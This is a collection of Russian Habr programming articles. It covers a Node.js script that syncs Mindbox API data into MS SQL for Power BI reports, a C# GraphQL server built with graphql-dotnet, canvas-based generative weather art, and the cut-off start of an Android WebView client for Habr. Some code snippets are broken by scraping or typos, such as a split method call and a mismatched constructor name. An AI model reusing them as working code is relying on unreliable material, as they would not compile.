console.log('New Chunk '+operation);
var sqlreq = new sql.Request();
//Получаем максимальный mindboxId из таблицы, чтобы знать, с какого ID собирать данные
sqlreq.query("SELECT MAX(mindboxId) AS last FROM "+config.mssql.database+".dbo."+operation+";", function(err, maxres) {
if (err || !maxres.recordset[0]) {
console.log('MsSQL SELECT MAX error: ', err);
cb(err);
return;
}
var chunk = parseInt(maxres.recordset[0].last || 0) + 1;
//Получим данные, начиная с ID=chunk
mbxCall(operation, chunk, function(err, xml) {
console.log(operation + ' from #' + chunk.toString() + ' started');
if (err) {
console.log(operation + ' from #' + chunk.toString() + ': Mindbox API request error: ', err);
cb(err);
}
parseString(xml, function(err, res) {
if (err) {
console.log(operation + ' from #' + chunk.toString() + ': Mindbox returns invalid XML, parse error: ', err);
console.log(xml);
cb(err);
}
if (res && res.result && res.result.status == 'Success') {
var rows = res.result.customerActions ? res.result.customerActions[0].customerAction : [];
if (rows.length > 0) {
mbxHandle(operation, rows, function(err, res) {
console.log(operation + ' from #' + chunk.toString() + ' + '+rows.length.toString()+' done!');
mbxChunkCopy(operation, cb);
});
}
else {
console.log(operation + ' - data is over!');
cb();
}
}
else {
console.log(operation + ' from #' + chunk.toString() + ': Mindbox returns unsuccessfull result: ', res);
cb(err);
}
});
})
})
}
function mbxChunkCopy(operation, cb) {
mbxChunk(operation, cb);
}
/**
* Запрос к API Mindbox
* Получаем 1000 записей. ID записи начинается со startId
*/
function mbxCall(operation, startId, cb) {
var request = require("request");
var options = {
method: 'POST',
url: 'https://api.mindbox.ru/v3/operations/sync',
qs: {
endpointId: 'fskuniversalpoint', operation: operation
},
headers: {
"Cache-Control": "no-cache",
"Content-Type": "application/xml",
"Accept": "application/xml",
"Authorization": 'Mindbox secretKey="'+config.mindbox_api_key+'"'
},
body: '\r\n \r\n ' + startId.toString() + '\r\n 1\r\n 1000\r\n \r\n'
};
request(options, function (error, response, body) {
cb(error, body);
});
}
/**
* Обработка блока данных от Mindbox
* Записать в таблицу table MsSQL
*/
function mbxHandle(table, rows, cb) {
console.log(rows.length.toString() + ' items to save into '+table);
var i = 0;
async.forEach(rows, function(row, cb1) {
try {
var sqlreq = new sql.Request();
sqlreq.input('mindboxId', sql.Int, parseInt(row.ids[0].mindboxId[0]));
sqlreq.input('transactionId', sql.VarChar, (row.ids[0].transactionId ? row.ids[0].transactionId[0] : ''));
sqlreq.input('systemName', row.actionTemplate[0].systemName[0]);
sqlreq.input('name', sql.NVarChar, row.actionTemplate[0].name[0]);
sqlreq.input('dateTimeUtc', sql.DateTime, new Date(row.dateTimeUtc[0]));
sqlreq.input('pointOfContact_externalId', sql.VarChar, row.pointOfContact[0].ids[0].externalId[0]);
sqlreq.input('customer_mindboxId', sql.VarChar, (row.customer[0].ids[0] ? row.customer[0].ids[0].mindboxId[0] : ''));
sqlreq.input('customer_webSiteId', sql.VarChar, (row.customer[0].ids[0].webSiteId ? row.customer[0].ids[0].webSiteId[0] : ''));
sqlreq.input('channel', sql.VarChar, (row.mailing && row.mailing[0].channel ? row.mailing[0].channel[0] : ''));
sqlreq.input('action', sql.VarChar, (row.mailing && row.mailing[0].action ? row.mailing[0].action[0] : ''));
sqlreq.input('notSentReason_name', sql.VarChar, row.ids[0].mindboxId[0]);
sqlreq.input('notSentReason_systemName', sql.VarChar, (row.mailing && row.mailing[0].notSentReason && row.mailing[0].notSentReason[0].name ? row.mailing[0].notSentReason[0].name[0] : ''));
sqlreq.input('groupingKey', sql.VarChar, (row.mailing && row.mailing[0].groupingKey ? row.mailing[0].groupingKey[0] : ''));
sqlreq.input('link', sql.VarChar, (row.mailing && row.mailing[0].link ? row.mailing[0].link[0] : ''));
sqlreq.input('viewEmailMessageUrl', sql.VarChar, (row.mailing && row.mailing[0].viewEmailMessageUrl ? row.mailing[0].viewEmailMessageUrl[0] : ''));
var q = "INSERT INTO "+config.mssql.database+".dbo."+table
+ " (mindboxId, transactionId, systemName, name, dateTimeUtc, pointOfContact_externalId, customer_mindboxId, customer_webSiteId, channel, [action], notSentReason_name, notSentReason_systemName, groupingKey, link, viewEmailMessageUrl)"
+ " VALUES(@mindboxId, @transactionId, @systemName, @name, @dateTimeUtc, @pointOfContact_externalId, @customer_mindboxId, @customer_webSiteId, @channel, @action, @notSentReason_name, @notSentReason_systemName, @groupingKey, @link, @viewEmailMessageUrl);";
}
catch (err) {
console.log('MsSQL input vars error: ', err, JSON.stringify(row));
return cb1(err);
}
sqlreq.query(q, function(err, r) {
if (err) {
console.log('MsSQL query error: ', err, JSON.stringify(row));
}
cb1(err, r);
})
}, function(err, r) {
cb(err, r);
});
}
```
Когда данные собраны, мы по ним можем построить, например, вот такие отчёты.
В редакторе запросов Power BI можно организовать прямую загрузку данных из Mindbox с помощью такого запроса:
```
let
// функция запрашивает очередную страницу данных с Mindbox
ExportAction = (name as text, page as number)=>let
Source=Xml.Tables(Web.Contents("https://api.mindbox.ru/v3/",
[Headers=[#"content-type"="application/xml",Accept="application/xml",Authorization="Mindbox secretKey=""ХХХХХХХХХХХХХХХХХХХХХХХХ"""],
RelativePath="operations/sync",
Query=[endpointId="ХХХХХХХХХХХХХХХХХ",operation=name],
Content=Text.ToBinary("0"&Number.ToText(page)&"10000")])),
Data= try Source{0}[customerActions] otherwise null // проверяем что ответ непустой
in
Data,
// начало программы
name="XXXXXXXXXXX", // задаём имя действия в Mindbox
Source = List.Generate( ()=> // циклом запрашиваем все страницы с данными от Mindbox
[Result = ExportAction(name, 1), Page = 1], // запрос первой страницы данных.
each [Result] <> null, // если ответ пустой, то конец цикла
each [Result = ExportAction(name,[Page]+1), Page = [Page]+1], // иначе запрашиваем следующую страницу данных
each [Result]),
// конвертируем полученные данные в таблицу
#"Converted to Table" = Table.FromList(Source, Splitter.SplitByNothing(), null, null, ExtraValues.Error)
// *
// *
// обработка полученных данных
// *
// *
// result = ..........
in
result
```
И он даже будет работать. Часа 2-3. И, возможно, данные вы соберёте, если у вас не так много подписчиков и рассылки выходят не очень часто.
В противном случае вы, скорее всего, получите сообщение, что сервер временно недоступен. И данные загружены не будут. При возникновении ошибки запрос прекратит свою работу, а все загруженные данные не сохранятся.
После апдейта в феврале 2020 в PowerQuery появилась возможность агрегировать (догружать) данные, но пока этот способ работает с множеством ограничений, да и не каждый API позволит реализовать заложенный алгоритм.
Если в Power BI загружать данные, заранее собранные на SQL-сервере, то запрос будет гораздо проще и выполняться будет гораздо быстрее — всего несколько секунд.
А выглядеть будет так (сравните с запросом к API):
```
let
Source = Sql.Database("ServerName«, «DataBase»),
Result = Source{[Schema="dbo",Item="TableName"]}[Data]
in
Result
```
А если вы заранее продумали и правильно сформировали структуру таблиц на сервере, дополнительное преобразование и обработка данных в редакторе запросов Power query не потребуются.
Как выглядит отчёт в Power BI
-----------------------------
Вот такой отчёт можно собрать на данных из Mindbox и Google Analytics.
Следуя изложенной выше методике, каждую ночь в базу данных на SQL-сервере собираются данные из Mindbox и Google Analytics (специальный скрипт собирает данные без сэмплирования), затем собранные и агрегированные данные с SQL-сервера загружаются в отчёт на сервере Power BI.
Таким образом, пользователи уже к началу рабочего дня получают в отчёте актуальные данные. | https://habr.com/ru/post/506740/ | null | ru | null |
# Напиши мне GraphQL сервер на C#
Как-то выдалась у меня пара выходных, и я набросал GraphQL сервер к нашей Docsvision платформе. Ниже расскажу, как все прошло.
#### Что за платформа Docsvision
Платформа Docsvision включает в себя множество различных средств для построения систем документооборота, но ключевым ее компонентом является что-то вроде ORM. Есть редактор метаданных, в которых можно описать структуру полей карточек. Там могут быть структурные, коллекционные и древовидные секции, которые, к тому же, могут быть вложенными, [в общем, все сложно](https://habr.com/company/docsvision/blog/233897/). По метаданным генерируется БД, и потом можно работать с ней через некоторый C# API. Словом — идеальный вариант для построения GraphQL сервера.
#### Какие есть варианты
Честно сказать, вариантов не много и они так себе. Мне удалось найти только две библиотеки:
* [graphql-dotnet](https://github.com/graphql-dotnet/graphql-dotnet)
* [graphql-net](https://github.com/ckimes89/graphql-net)
UPD: в комментариях подсказали что есть еще [Hotchocolate](https://github.com/ChilliCream/hotchocolate).
По README мне поначалу приглянулась вторая, и я даже начал с ее помощью что-то делать. Но вскоре выяснил, что у нее слишком бедный API, и с задачей генерации схемы по метаданным она не справится. Впрочем, ее, кажется, уже забросили (последний коммит год назад).
У `graphql-dotnet` API достаточно гибкий, но и в то же время он ужасно документирован, запутан и неинтуитивен. Чтобы понять, как с ним работать, мне приходилось смотреть исходники… Правда, я работал с версией `0.16`, тогда как сейчас последняя `0.17.3`, и уже выпущено 7 beta-версий `2.0`. Так что прошу прощения, если материал немного устарел.
Должен еще упомянуть, библиотеки поставляются с неподписанными сборками. Мне пришлось пересобирать их из исходников вручную, чтобы использовать в нашем ASP.NET приложении с подписанными сборками.
#### Структура GraphQL сервера
Если Вы не знакомы с GraphQL, можете попробовать [github explorer](https://developer.github.com/v4/explorer/). Небольшой секрет — можно жмать Ctrl+пробел, чтобы получить автодополнение. Клиентская часть там есть ничто иное как [GraphiQL](https://github.com/graphql/graphiql), которую без труда можно прикрутить к своему серверу. Просто берете [index.html](https://github.com/graphql/graphiql/blob/master/example/index.html), добавляете скрипты из npm-пакета, и меняете url в функции graphQLFetcher на адрес своего сервера — все, можно играться.
Рассмотрим простой запрос:
```
query {
viewer {
login,
company
}
}
```
Мы здесь видим набор полей — viewer, в нем login, company. Наша задача, как GraphQL бэкенда, построить на сервере некоторую "схему", в которой все эти поля будут обрабатываться. По сути, нам просто нужно создать соответствующую структуру служебных объектов с описанием полей, и задать callback-функции для вычисления значений.
Схему можно сгенерировать автоматически [на основе C# классов](https://github.com/holm0563/graphql-schemaGenerator), но мы пойдем по хардкору — будем все делать руками. Но это не потому что я лихой парень, просто генерация схемы на основе метаданных — это нестандартный сценарий в graphql-dotnet, который не поддерживается официальной документацией. Так что, мы копнем немного в ее нутро, в недокументированную область.
Создав схему, нам останется любым удобным нам образом доставить строку запроса (и параметры) с клиента на сервер (совершенно неважно, как — GET, POST, SignalR, TCP...), и скормить его движку вместе со схемой. Движок выплюнет нам объект с результатом, который превратим в JSON и вернем клиенту. У меня это выглядело так:
```
// Мой сервис, в котором генерируется схема на основе метаданных
var schema = GraphQlService.GetCardsSchema(sessionContext);
// Создаем экземпляр движка (объект можно переиспользовать)
var executer = new DocumentExecuter();
// Скармливаем ему схему, запрос
var dict = await executer.ExecuteAsync(schema, sessionContext, request.Query, request.MethodName).ConfigureAwait(false);
// По-простецки обработаем ошибки :)
if (dict.Errors != null && dict.Errors.Count > 0)
{
throw new InvalidOperationException(dict.Errors.First().Message);
}
// Возвращаем клиенту результат
return Json(dict.Data);
```
Обратить внимание можно на `sessionContext`. Это наш специфичный для Docsvision объект, через который осуществляется доступ к платформе. При создании схемы мы все время работаем с тем или иным контекстом, но об этом чуть позже.
#### Генерация схемы
Начинается все умилительно просто:
```
Schema schema = new Schema();
```
К сожалению, на этом простой код заканчивается. Для того чтобы добавить в схему какое-либо поле, нам нужно:
1. Описать его тип — создать объект ObjectGraphType, StringGraphType, BooleanGraphType, IdGraphType, IntGraphType, DateGraphType или FloatGraphType.
2. Описать само поле (имя, обработчик) — создать объект GraphQL.Types.FieldType
Давайте попробуем описать тот простой запрос, что я приводил выше. В запросе у нас есть одно поле — viewer. Чтобы добавить его в запрос, нужно сначала описать его тип. Тип у него простой — объект, с двумя строковыми полями — login и company. Опишем поле login:
```
var loginField = new GraphQL.Types.FieldType();
loginField.Name = "login";
loginField.ResolvedType = new StringGraphType();
loginField.Type = typeof(string);
loginField.Resolver = new MyViewerLoginResolver();
// ...
class MyViewerLoginResolver : GraphQL.Resolvers.IFieldResolver
{
public object Resolve(ResolveFieldContext context)
{
// Предполагаем, что у нас в контексте будет какой-то наш объект UserInfo
// который нам передаст родительский обработчик viewer
return (context.Source as UserInfo).AccountName;
}
}
```
Аналогично создаем объект companyField — отлично, мы готовы описать тип поля viewer.
```
ObjectGraphType viewerType = new ObjectGraphType();
viewerType.Name = "Viewer";
viewerType.AddField(loginField);
viewerType.AddField(companyField);
```
Тип есть, теперь можно описать и само поле viewer:
```
var viewerField = new GraphQL.Types.FieldType();
viewerField.Name = "viewer";
viewerField.ResolvedType = viewerType;
viewerField.Type = typeof(UserInfo);
viewerField.Resolver = new MyViewerResolver();
// ...
class MyViewerResolver : GraphQL.Resolvers.IFieldResolver
{
public object Resolve(ResolveFieldContext context)
{
// Помните мы передавали свой sessionContext при выполнении запроса?
// То, что мы вернем здесь будет передано дочерним резолверам (login и company)
return (context.Source as SessionContext).UserInfo;
}
}
```
Ну и последний штрих, добавляем наше поле в тип query:
```
var queryType = new ObjectGraphType();
queryType.AddField(viewerField);
schema.Query = queryType;
```
Вот и все, наша схема готова.
#### Коллекции, пейджинация, обработка параметров
Если поле возвращает не один объект, а коллекцию, то нужно явно это указать. Для этого достаточно обернуть тип свойства в экземпляр класса ListGraphType. Допустим, если бы viewer возвращал коллекцию, мы просто написали бы так:
```
// Было (один объект)
viewerField.ResolvedType = viewerType;
// Стало (коллекция)
viewerField.ResolvedType = new ListGraphType(viewerType);
```
Соответственно, в резолвере MyViewerResolver тогда нужно было бы возвращать список.
При появлении коллекционных полей важно сразу позаботиться о пейджинации. Какого-то готового механизма тут нет, делается все [через параметры](http://graphql.github.io/learn/pagination/). Пример использования параметра Вы могли заметить в примере выше (у cardDocument есть параметр id). Давайте добавим такой параметр к viewer:
```
var idArgument = new QueryArgument(typeof(IdGraphType));
idArgument.Name = "id";
idArgument.ResolvedType = new IdGraphType();
idArgument.DefaultValue = Guid.Empty;
viewerField.Arguments = new QueryArguments(idArgument);
```
Получить потом значение параметра в резолвере можно так:
```
public object Resolve(ResolveFieldContext context)
{
var idArgStr = context.Arguments?["id"].ToString() ?? Guid.Empty.ToString();
var idArg = Guid.Parse(idArgStr);
```
GraphQL такой типизированный, что распарсить сам Guid, конечно, не смог. Ну да ладно, нам не трудно.
#### Запрос карточек Docsvision
В реализации GrapqhQL для платформы Docsvision я соответственно просто кодом прохожу по метаданным (`sessionContext.Session.CardManager.CardTypes`), и для всех карточек и их секций автоматически создаю такие вот объекты с соответствующими резолверами. В итоге получилось что-то такое:
```
query {
cardDocument(id: "{AF652E55-7BCF-E711-8308-54A05079B7BF}") {
mainInfo {
name
instanceID
}
}
}
```
Здесь cardDocument — это тип карточки, mainInfo — имя секции в ней, name и instanceID — поля в секции. Соответствующие резолверы для карточки, секции и поля используют API CardManager следующим образом:
```
class CardDataResolver : GraphQL.Resolvers.IFieldResolver
{
public object Resolve(ResolveFieldContext context)
{
var sessionContext = (context.Source as SessionContext);
var idArg = Guid.Parse(context.Arguments?["id"].ToString() ?? Guid.Empty.ToString());
return sessionContext.Session.CardManager.GetCardData(idArg);
}
}
class SectionResolver : GraphQL.Resolvers.IFieldResolver
{
CardSection section;
public SectionFieldResolver(CardSection section)
{
this.section = section;
}
public object Resolve(ResolveFieldContext context)
{
var idArg = Guid.Parse(context.Arguments?["id"].ToString() ?? Guid.Empty.ToString());
var skipArg = (int?)context.Arguments?["skip"] ?? 0;
var takeArg = (int?)context.Arguments?["take"] ?? 15;
var sectionData = (context.Source as CardData).Sections[section.Id];
return idArg == Guid.Empty ?
sectionData.GetAllRows().Skip(skipArg).Take(takeArg)
:
new List { sectionData.GetRow(idArg) };
}
}
class RowFieldResolver : GraphQL.Resolvers.IFieldResolver
{
Field field;
public RowFieldResolver(Field field)
{
this.field = field;
}
public object Resolve(ResolveFieldContext context)
{
return (context.Source as RowData)[field.Alias];
}
}
```
Конечно, здесь можно только запрашивать карточки по id, но нетрудно таким же образом сгенерировать схему для доступа к расширенным отчетам, сервисам и всему, что угодно. С таким API можно получать любые данные из базы Docsvision, просто написав соответствующий JavaScript — очень удобно для написания своих скриптов и расширений.
#### Заключение
С GrapqhQL в .NET пока все непросто. Есть одна сколько-то живая библиотека, без надежного вендора и с непонятным будущим, неустоявшимся и странным API, неизвестностью в том, как она себя поведет под нагрузкой и насколько она стабильная. Но имеем что имеем, вроде работает, а недостатки в документации и остальном компенсируются открытостью исходного кода.
То, что я описывал в этой статье — это все большей частью недокументированный API, который я исследовал методом тыка и изучением исходников. Просто авторы библиотеки не задумывались, что кому-то понадобится генерировать схему автоматически — ну да что поделаешь, это опен-сорс.
Написано это все было за несколько выходных, и само собой, пока не более чем прототип. В стандартной поставке Docsvision это, скорее всего, появится, но когда — пока трудно сказать. Впрочем, если Вам нравится идея обращаться к базе Docsvision прямо из JavaScrpit без написания серверных расширений — пишите. Чем выше будет интерес от партнеров — тем больше внимания мы этому уделим. | https://habr.com/ru/post/416501/ | null | ru | null |
# Визуализация изменения климата при помощи интерактивного генеративного искусства
Чтобы мотивировать людей активнее бороться с изменением климата необходимо постоянно искать новые креативные способы. Их много: начиная от привлечения внимания к через крупные мероприятия, вроде Davos 2020, вплоть до визуализации последствий глобального потепления при помощи современных технологий обработки данных и интерактивного генеративного искусства.
Тему изменения климата нужно раскрывать со всех сторон - от громких и массовых событий до еле заметных и волнующих персонально человека. Акцент на распространение информации о «виновниках» изменения климата на всех уровнях даёт шанс обществу повысить осведомлённость об этом явлении. Для повышения осведомлённости нужно использовать разнообразные инструменты.
Не важно, насколько кейс заметный или наоборот, трудно понятный на первый взгляд, - цифровой подход оказывает сильное влияние, ведь сегодня люди всё большую часть своей жизни проводят онлайн. Технологии уже доказали свою способность изменить будущее человечества к лучшему, так почему бы не использовать цифровое пространство для привлечения внимания к проблеме климата?
Интерактивное генеративное искусство - едва заметное, но влиятельное
--------------------------------------------------------------------
Все знакомы с сайтами прогноза погоды, которые используют иконки климатических явлений, просто и удобно передающие нынешнюю или будущую погоду. Однако, иконки не могут передать динамические свойства погоды, вроде ветра.
И поэтому мы подумали о создании «живого окна», которое показывает погоду и её изменение. Мы решили создать веб-приложение, которое будет показывать нынешние погодные условия, используя природный ландшафт, созданный путём вычислений, но в то же время с внутренней эстетикой. Другими словами, при помощи генеративного искусства.
Это новый подход к демонстрации погодных условий и изменению климата, который упрощает восприятие информации зрителем. Генеративный подход к погодному искусству основан на автономной системе, которая может принимать решения сама, но ограничена предопределёнными правилами. Автор определяет правила, а система генерирует контент. Это дуэт человека и техники, который приводит к впечатляющим творческим результатам.
Благодаря генеративному подходу ландшафт достаточно необычен, ибо он всегда уникален для зрителя, но в тоже время расположение ключевых элементов всегда одинаково. Каждый раз, когда пользователь пользуется приложением, система создаёт уникальные графические элементы. Дерево, небо, облака и т. д. нарисованы с нуля, используются данные о погоде прямо сейчас, согласно местоположению пользователя.
Нашей главной целью было представить творческий и информативный способ показать влияние глобального изменения климата на ландшафты и мир вокруг нас. Экран можно разделить на две части, отображающие погоду разные периоды времени, согласно прошлым и нынешним данным. Эта функция может иллюстрировать изменения климата за последние 10 лет, например.
К тому же этот подход обращает дополнительное внимание на насущный вопрос вырубки лесов. Можно легко увидеть, как долго растет дерево. Показ этих данных таким уникальным способом вызывает ощущение безотлагательности и необходимости действий. Этого тяжелее добиться сухими цифрами и статистикой.
Для реализации этого проекта использовался JavaScript, визуальные элементы нарисованы при помощи Canvas. Ландшафт состоит из четырёх главных компонентов: дерево, земля, небо и осадки. Этого достаточно, чтоб показать времена года и основные погодные условия.
Дерево
------
Дерево - центральная часть ландшафта, удобный способ показа скорости ветра и времени года. Структура дерева фрактальная, поэтому оно генерируется рекурсивно, из его каждой ветки растет ещё две, пока не будет достигнута максимальная глубина. На каждой последней ветке есть лист.
Нужно сгенерировать массив веток, или точнее - массив качеств веток. У каждой ветки должен быть свой угол наклона по отношению к ветке-родителю, своя длина и цвет, наклон листьев. Длина и угол наклона веток выбирается случайно согласно глубине дерева. Однако, нужно добавить или вычесть угол ветки-родителя. Так мы получаем две ветки, торчащие в разных направлениях.
Крона дерева не однородна, как, например, сфера, а состоит как бы из групп сфер. В результате цвета листьев разные, ибо некоторые из них темнее, а некоторые светлее. Поэтому крона поделена на две части, а каждая группа прокрашена слева направо плавной палитрой, переходящей от самых ярких к самым тёмным цветам. Функция *divide(start,finish,intervalsAmount,n)* делит числовой интервал между *start* и *finish* на сумму интервала *intervalsAmount*, и определяет интервал, включающий *n*.
```
const branchGroupDepth = 10;
const leavesGroupSize = 2 ** (branchGroupDepth-1);
let groupCounter = 0;
function generate(angle, depth, arr)
{ let leafColor = colors[divide(0, leavesGroupSize, colors.length, groupCounter)];
arr.push({
angle,
branchArmLength: random(minBranchLenght, maxBranchLenght),
color: leafColor
});
if (depth === branchGroupDepth) { groupCounter = 0; }
if (depth === 0) { groupCounter++; }
if (depth != 0) {
if (depth > 1) { generate(angle - random(minAngle, maxAngle), depth - 1, arr); generate(angle + random(minAngle, maxAngle), depth - 1, arr);
} else {
generate(angle, depth - 1, arr); }}}
```
Задача функции *branch()* - заставить деревья выглядеть живыми, она высчитывает координаты веток каждый раз, когда ветер меняется. Каждая ветка двигается по круговой траектории, где начало ветки обозначено центром круга, а длина - радиусом. Единственное, что нам нужно найти - координаты конца ветки (которые ещё и являются началом следующих веток).
*windSidewayForce* - направление движения ветки по направлению ветра.
*bendabilityOfCurrentBranch* - коэффициент наклона ветки по ветру, зависящий от толщины ветки (или глубины дерева).
*calcX(angle, r)/calcY(angle, r)* — функции, которые вычисляют координаты концов веток при помощи формулы *rcos(angle)/rsin(angle)*.
```
let branchCounter = 0;
const bendability = 2;
const leafBendability = 17;
function branch(x1, y1, arr, depth, windConfig) {
if (depth != 0) {
const xx = calcX(dir, depth * branchArmLength);
const yy = calcY(dir, depth * branchArmLength);
const windSidewayForce = windX * yy - windY * xx;
const bendabiityOfCurrentBranch = (1 - (depth * 0.7) / (maxDepth * 0.7)) ** bendability;
dir = angle + wind * bendabiityOfCurrentBranch * windSidewayForce; let x2 = x1 + calcX(dir, depth * branchArmLength);
let y2 = y1 + calcY(dir, depth * branchArmLength);
lines[depth].
ush([x1, y1, x2, y2]);
if (depth > 1) {
branch(x2, y2, arr, depth - 1, windConfig);
branch(x2, y2, arr, depth - 1, windConfig);
} else {
branch(x2, y2, arr, depth - 1, windConfig);
}
} else {
const leafAngle = angle + wind * windSidewayForce * leafBendability; leaves[color].push([x1, y1, leafAngle]);
}
}
```
Ветки дерева прокрашиваются простой *lineTo()* канвас функцией, и каждая ветка - линия. Листья красятся двумя кривыми Безье при помощи функции *bezierCurveTo()*. Кривые Безье состоят из трёх точек: начало (синяя), конец (синяя) и контроль (жёлтая). Последняя придаёт кривой форму.
Покраска листьев кривыми БезьеОднако, у канвас функций есть определённая особенность: нельзя красить несколько фигур несколькими цветами или несколькими движениями одновременно. Поэтому все ветки сгруппированы по толщине, а все листья - по цвету. Чтобы ускорить рендеринг, их красят группами. Также холсты деревьев хранятся под ключом (индикатором ветра), чтобы увеличить скорость рендеринга. Это означает, что программе не нужно каждый раз вычислять с начала каждое дерево, используя один индикатор ветра.
Земля
-----
Земля (или, скорее, трава) не менее важна, чем дерево, ибо трава может показывать ветер и времена года. Нужен массив столбцов, чтобы сгенерировать траву. Каждый столбец травы должен иметь свои координаты, обозначающие положение в поле, скорость реакции на ветер и угол наклона по отношению к земле. Более близкие столбцы травы должны иметь более насыщенный и контрастный цвет, а дальние должны казаться более сглаженными. Эта визуальная хитрость даёт ощущение травяного поля. Поле поделено на горизонтальные части, у каждой части свой цвет столбцов. После генерации массива поле нужно отсортировать от самых дальних до близких по y координате для эффекта наложения друг на друга.
```
function generate(number) {
for (var i = 0; i < number; i++) {
var y = random(fieldTopStart, h + fieldBottomDeviation);
var x = random(0, w);
var colorGroup = divide(fieldTopStart, h + fieldBottomDeviation + 1, fieldAreas, y);
var color = colors[colorGroup][random(0, colors[colorGroup].length)];
var angle = random(-maxAngleDeviation, maxAngleDeviation);
var speed = random(minSpeed, maxSpeed);
dots.push([x, y, color, angle, speed]);
}
dots.sort()}
```
Столбец травы, как и листья, красится двумя кривыми Безье. К тому же, трава реагирует на ветер наклоном. Координаты конца столбца и контрольные точки вычисляются согласно индикатору ветра.
Столбец травы красится двумя кривыми БезьеНебо и осадки
-------------
Облака и количество облаков - самые главные характеристики неба. Облака должны различаться по размеру относительно положения в небе. Поэтому небо поделено на горизонтальные части: в более высоких частях находятся большие облака, двигающиеся быстрее.
Облака содержат в себе круги двух типов. Первый тип - градиентные белые круги с градиентным центром в середине. Эти круги распределены равномерно по всей плоскости облака. Второй тип - градиентные серые круги со смещением вниз от центра. Они размещаются внизу плоскости облака и делают облако объёмным. Однако, облака перемещаются не только по небу, а ещё и внутри самих себя, меняя форму. Каждый круг динамичен и двигается по круговой траектории со своим центром.
Ещё один важный элемент неба - это осадки: снег и дождь. Капли дождя красятся простой вертикальной линией, а их толщина зависит от силы дождя. Снежинки красятся градиентым полупрозрачным кругом. У каждой снежинки свой размер, и чем больше она, тем быстрее падает. Это создаёт эффект, будто большие снежинки находятся ближе к экрану.
Как выглядит генеративное искусство, основанное на погоде?
----------------------------------------------------------
После некоторых манипуляций, включающих использование разных цветов для разных времён года и интеграцию с «живыми» данными, мы можем показать через «живое окно» весь год.
Помимо прогноза погоды и визуального показа многолетнего изменения климата, эту технологию можно использовать для создания интерактивных фонов для музеев естествознания и тематических выставок. Также можно эту идею использовать в школах, чтобы сделать изучение климатических зон интереснее.
Ещё один полезный аспект - то, что через «живое окно» можно показать рост растений. Было бы интересно увидеть, сколько времени нужно определённым растениям для достижения зрелости. Есть ещё шкала Бофорта, которая показывает силу ветра. Она может показывать, как сильно ветер влияет на деревья, давая пользователю реалистичное восприятие силы ветра.
Сейчас это только демо-версия. Эту модель можно адаптировть к определённому городу, изменив вид дерева на то, которое больше подходит под особенности местной флоры. Ещё в ней есть много природных феноменов, таких как туман, молнии, торнадо. Вот простой пример: можно проиллюстрировать изменение погоды, используя поток данных вместе с умным кодингом.
#### Популярные посты по генеративному искусству:
* [Визуализация генеративных алгоритмов: гифа, деревья, повторяющиеся и дифференциальные линии (на Python)](https://habr.com/ru/post/507602/)
* [Как заставить генеративные изображения выглядеть естественно при помощи математических алгоритмов](https://habr.com/ru/post/506828/)
* [Песочный алфавит при помощи генеративных алгоритмов](https://habr.com/ru/post/507614/) | https://habr.com/ru/post/524802/ | null | ru | null |
# Пишем клиент для Хабра под Android
Забегая вперед, вот что получилось:
12:56. Я буду делать это параллельно с написанием топика (так интересней). По ходу написания клиента поясняя все шаги. Итак, покурили, налили чай, подготовили плейлист и, пока чай остывает — проверяем не занято ли имя habrahabr в маркете. Отлично, переходим к созданию приложения.
13:02 Создаем новый проект.
[Скриншот](http://leprastuff.ru/data/img/20110421/b76bfca874962cc03631424f0c96c79b.PNG)
API level равен 4, по той причине, что при меньшем значении — на планшетниках Samsung Galaxy Tab разрешение экрана будет некорректным и обладатели данных чудо-девайсов не преминут насовать вам кучу минусов в маркет (хотя в принципе, врятли это косяк разработчика).
13:08 Фиксим манифест.
Необходимо добавить две строчки:
— android:configChanges=«orientation», данная строка нужна для того, чтобы при смене ориентации экрана не разрушалось наше активити.
— , запрашиваем разрешение на доступ в интернет
[AndroidManifest](http://pastebin.com/vunnSNS1)
\* играет front242 — headhunter v3.0
13:13 Фиксим layout.
Стираем всё и добавляем один единственный элемент — [webview](http://pastebin.com/MDuRrPN6) — на весь экран
13:16 Иконка.
При помощи фаербага подрезаем абсолютную ссылку и при помощи фотошопа обрезаем до 48\*48 px и кидаем в res/drawable…
13:27 С иконкой всё сложнее оказалось. Пятно логотипа после уменьшения превратилось в мутную хрень, пришлось [нагуглить](http://www.zarezenko.vn.ua/images/profiles/habrahabr.png). Надеюсь автор не обидится.
Уф, самое сложное закончили, наконец то можно покодить.
13:39 Загружаем хабр
> `public class habr extends Activity {
>
>
>
> private WebView wv;
>
>
>
> /\*\* Called when the activity is first created. \*/
>
> @Override
>
> public void onCreate(Bundle savedInstanceState) {
>
> super.onCreate(savedInstanceState);
>
> setContentView(R.layout.main);
>
>
>
> wv = (WebView) findViewById(R.id.wv);
>
>
>
> WebSettings webSettings = wv.getSettings();
>
> webSettings.setSavePassword(true);
>
> webSettings.setSaveFormData(true);
>
> webSettings.setJavaScriptEnabled(true);
>
>
>
> wv.loadUrl("http://habrahabr.ru");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
\* Здесь мы просто натравили наше вью на habr, предварительно включив джаваскрипт и запоминалку форм/паролей. Выглядит пока уродливо, но уже работает. Перекур.
13:53 Продолжаем разговор.
> `public class habr extends Activity {
>
>
>
> private WebView wv;
>
> private String LASTURL = "";
>
>
>
> /\*\* Called when the activity is first created. \*/
>
> @Override
>
> public void onCreate(Bundle savedInstanceState) {
>
> super.onCreate(savedInstanceState);
>
> this.getWindow().requestFeature(Window.FEATURE\_PROGRESS);
>
> setContentView(R.layout.main);
>
>
>
> wv = (WebView) findViewById(R.id.wv);
>
>
>
> WebSettings webSettings = wv.getSettings();
>
> webSettings.setSavePassword(true);
>
> webSettings.setSaveFormData(true);
>
> webSettings.setJavaScriptEnabled(true);
>
>
>
> final Activity activity = this;
>
>
>
> wv.setWebChromeClient(new WebChromeClient() {
>
> public void onProgressChanged(WebView view, int progress)
>
> {
>
> activity.setTitle(" "+LASTURL);
>
> activity.setProgress(progress \* 100);
>
>
>
> if(progress == 100)
>
> activity.setTitle(" "+LASTURL);
>
> }
>
> });
>
> wv.setWebViewClient(new WebViewClient() {
>
> public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
>
> Toast.makeText(getApplicationContext(), "Error: " + description+ " " + failingUrl, Toast.LENGTH\_LONG).show();
>
> }
>
>
>
> @Override
>
> public boolean shouldOverrideUrlLoading(WebView view, String url)
>
> {
>
> if (url.indexOf("habrahabr")<=0) {
>
> // the link is not for a page on my site, so launch another Activity that handles URLs
>
> Intent intent = new Intent(Intent.ACTION\_VIEW, Uri.parse(url));
>
> startActivity(intent);
>
